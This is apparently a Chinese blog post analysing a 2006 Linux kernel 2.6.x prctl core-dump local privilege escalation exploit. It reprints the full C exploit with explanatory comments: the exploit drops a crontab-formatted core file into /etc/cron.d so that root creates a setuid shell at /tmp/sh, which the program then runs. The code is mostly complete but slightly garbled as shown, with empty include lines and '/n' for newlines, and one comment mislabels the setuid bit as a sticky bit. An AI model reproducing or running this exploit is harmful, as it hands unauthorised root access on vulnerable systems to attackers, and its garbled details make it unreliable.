linux漏洞分析,linux一个漏洞的分析

程序最早是国外的大佬写的。这个漏洞的原理非常简单,就是利用coredump的时候,可以在/etc/cron.d目录下生成core文件。

而在/etc/cron.d目录下的文件,crontab会定时以指定的用户权限来执行。如果在core文件中,指定用户权限是root,那么

就能够以我们希望的方式来运行所有的程序了。

下面就程序进行分析。

#include

#include

#include

#include

#include

#include

#include

char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh /n";

/* 在coredump生成的core文件中,就会出现payload的字符。也就是说,在core文件中,会有下面的几行文件。

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh

最后一行,如果熟悉crontab的配置,就知道这是crontab的文件格式,每分钟以root的身份执行一次后面的代码。

注意最后的chmod 4755 /tmp/sh,4755是标准的粘连位的设置。这样,任何执行/tmp/sh都将获得root权限。

*/

int main() {

int child;

struct rlimit corelimit;

printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");

printf("By: dreyer & RoMaNSoFt/n");

printf("[ 10.Jul.2006 ]/n/n");

corelimit.rlim_cur = RLIM_INFINITY;

corelimit.rlim_max = RLIM_INFINITY;

setrlimit(RLIMIT_CORE, &corelimit);

/*用setrlimit使得生成core文件的大小不受限制,这个函数改变linux kernel对于一些资源的限制*/

printf("Creating Cron entry/n");

if ( !( child = fork() )) {

chdir("/etc/cron.d");

/*改变目录,使生成的文件在/etc/cron.d目录下*/

prctl(PR_SET_DUMPABLE, 2);

/*使内核可以生成core文件*/

sleep(200);

exit(1);

}

kill(child, SIGSEGV);

/*使child process core dump*/

printf("Sleeping for aprox. one minute (** please wait **)/n");

sleep(62);

/*等待crontab去运行生成的core 文件*/

printf("Running shell (remember to remove /tmp/sh when finished) .../n");

system("/tmp/sh -p");

/*运行/tmp/sh,由于/tmp/sh所有人是root,设置了粘连位,所以任何运行此程序的人都将获得root权限*/

}

结束以后,请记得删除/etc/cron.d/目录下的core文件,和/tmp/sh文件。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值